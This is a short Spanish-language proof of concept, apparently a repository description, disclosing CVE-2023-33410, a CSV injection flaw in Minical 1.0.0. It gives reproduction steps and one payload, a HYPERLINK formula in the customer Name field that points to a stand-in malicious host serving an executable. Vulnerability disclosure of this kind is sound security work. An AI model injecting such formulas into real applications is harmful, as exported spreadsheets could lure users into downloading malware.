thirukrishnan/cve-2023-33410Prueba de concepto que demuestra la vulnerabilidad de inyección CSV en Minical 1.0.0, con pasos de reproducción detallados y ejemplo de carga útil.
Minical 1.0.0 es vulnerable a la inyección CSV.
Proveedor: https://github.com/minical/minical
Aplicación de demostración: https://demo.minical.io/
Paso 1: Navegue al módulo de Contabilidad y haga clic en Crear nuevo cliente.
Paso 2: Introduzca el payload en el campo Nombre y haga clic en Crear.
Payload: =HYPERLINK("<https://malicious.com/evilshell.exe>","ClickHere")
Paso 3: Haga clic en Descargar informe CSV y observe cómo se renderiza el payload.
